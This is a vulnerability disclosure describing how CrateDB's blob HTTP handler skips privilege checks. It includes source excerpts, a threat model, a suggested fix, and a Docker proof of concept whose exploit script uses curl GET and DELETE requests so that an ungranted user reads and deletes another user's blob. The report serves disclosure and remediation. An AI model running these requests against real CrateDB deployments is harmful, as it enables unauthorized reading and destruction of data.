CrateDB's Blob HTTP handler bypasses authorization

Component: io.crate.protocols.http.HttpBlobHandler Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced) Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.

---

Summary

CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.

The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.

Where it lives

server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:

// HttpBlobHandler.java:176
private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
    if (possibleRedirect(index, digest)) {
        return;
    }

    if (method.equals(HttpMethod.GET)) {
        get(index, digest);
        reset();
    } else if (method.equals(HttpMethod.HEAD)) {
        head(index, digest);
    } else if (method.equals(HttpMethod.PUT)) {
        put(content, index, digest);
    } else if (method.equals(HttpMethod.DELETE)) {
        delete(index, digest);
    } else {
        simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);
    }
}

No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:

// HttpBlobHandler.java:287
private void get(String index, final String digest) throws IOException {
    if (range != null) {
        partialContentResponse(index, digest);
    } else {
        fullContentResponse(index, digest);
    }
}

grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.

The APIs that should be called here, used by the SQL path before every statement is dispatched:

• server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))
• server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)

Threat model

Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.

| Capability | Needs digest? | Impact | |---|---|---| | Read or delete a blob | yes | High when digests leak, nil otherwise | | Plant new blobs (PUT) | no | Storage pollution; SHA-1 check blocks forging under a victim's digest |

Digest secrecy is not a documented security boundary.

Reproduction

End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.

./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:

1. Admin uploads a blob via PUT /_blobs/.... Success (201).
2. Admin reads via SQL. Success.
3. Unprivileged user reads via SQL. Denied (correct, this is what we want).
4. Unprivileged user reads via GET /_blobs/.... 200 OK plus the blob payload (the bug).
5. Unprivileged user deletes via DELETE /_blobs/.... 204 No Content (the bug, again).
6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.

Sample output from a real run:

=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
[PASS] Unprivileged user correctly denied SQL access
[INFO] Server response: ERROR:  Schema 'blob' unknown ...

=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin

=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS

PoC files

services:
  cratedb:
    image: crate:6.2.7
    ports:
      - "4200:4200"
      - "5432:5432"
    command: >
      crate
      -Cnetwork.host=0.0.0.0
      -Cdiscovery.type=single-node
      -Cauth.host_based.enabled=true
      -Cauth.host_based.config.0.user=crate
      -Cauth.host_based.config.0.method=trust
      -Cauth.host_based.config.99.method=password
      -Cblobs.path=/data/blobs
    environment:
      - CRATE_HEAP_SIZE=512m
    healthcheck:
      test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
      interval: 5s
      timeout: 5s
      retries: 12

HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.

-- Create the blob table
CREATE BLOB TABLE secret_blobs;

-- Create admin user with full access
CREATE USER admin WITH (password = 'adminpass');
GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;

-- Create unprivileged user with NO access to the blob table
CREATE USER unprivileged WITH (password = 'unpriv123');
-- Intentionally no GRANT for unprivileged user

#!/usr/bin/env bash
set -euo pipefail

CRATE_HTTP="http://localhost:4200"
BLOB_TABLE="secret_blobs"
BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
NC='\033[0m'

header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }
pass()   { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }
fail()   { printf "${RED}[FAIL]${NC} %s\n" "$1"; }
info()   { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

sql_as() {
    local user="$1" pass="$2" query="$3"
    PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
}

# ---------------------------------------------------------------------------
header "Step 1: Upload a blob as admin via HTTP"
# ---------------------------------------------------------------------------
DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')
info "Blob SHA1 digest: $DIGEST"

HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u admin:adminpass \
    -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \
    -d "$BLOB_CONTENT")

if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then
    pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"
else
    fail "Admin blob upload returned HTTP $HTTP_CODE"
    exit 1
fi

# ---------------------------------------------------------------------------
header "Step 2: Admin CAN read blob metadata via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")
if [[ -n "$RESULT" ]]; then
    pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"
else
    fail "Admin SQL query returned no results"
fi

# ---------------------------------------------------------------------------
header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)
if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then
    pass "Unprivileged user correctly denied SQL access"
    info "Server response: $(echo "$RESULT" | head -1)"
else
    fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
fi

# ---------------------------------------------------------------------------
header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \
    -u unprivileged:unpriv123 \
    "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

BODY=$(cat /tmp/blob_out)

if [[ "$HTTP_CODE" == "200" ]]; then
    fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
    info "Retrieved content: ${BODY}"
else
    pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"
fi

# ---------------------------------------------------------------------------
header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
# ---------------------------------------------------------------------------
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
    -u unprivileged:unpriv123 \
    -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")

if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then
    fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
else
    pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"
fi

# ---------------------------------------------------------------------------
header "Step 6: Confirm blob is gone (admin perspective)"
# ---------------------------------------------------------------------------
RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")
if [[ "$RESULT" == "0" ]]; then
    fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
else
    info "Blob still exists (count=$RESULT)"
fi

#!/usr/bin/env bash
set -euo pipefail
cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }

# Pick whichever Compose CLI is available (docker compose v2 vs legacy
# docker-compose binary). Both are common in the wild.
if docker compose version >/dev/null 2>&1; then
    DC=(docker compose)
elif command -v docker-compose >/dev/null 2>&1; then
    DC=(docker-compose)
else
    echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
    exit 2
fi

cleanup() {
    info "Stopping containers..."
    "${DC[@]}" down -v 2>/dev/null || true
}
trap cleanup EXIT

info "Starting CrateDB with authentication enabled..."
"${DC[@]}" up -d

info "Waiting for CrateDB to become healthy..."
for i in $(seq 1 60); do
    if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
        break
    fi
    sleep 1
done

# Verify CrateDB is actually ready for SQL connections
for i in $(seq 1 30); do
    if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
        break
    fi
    sleep 1
done

info "Running setup SQL as superuser (crate)..."
PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql

# Give CrateDB a moment to propagate user/privilege changes
sleep 2

info "Running exploit..."
echo ""
bash exploit.sh

Fixing

Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.

| HTTP verb | SQL equivalent | Required privilege on blob.<table> | |---|---|---| | GET / HEAD | SELECT | DQL | | PUT | INSERT / UPDATE | DML | | DELETE | DELETE | DML |

Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).

Notes

Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.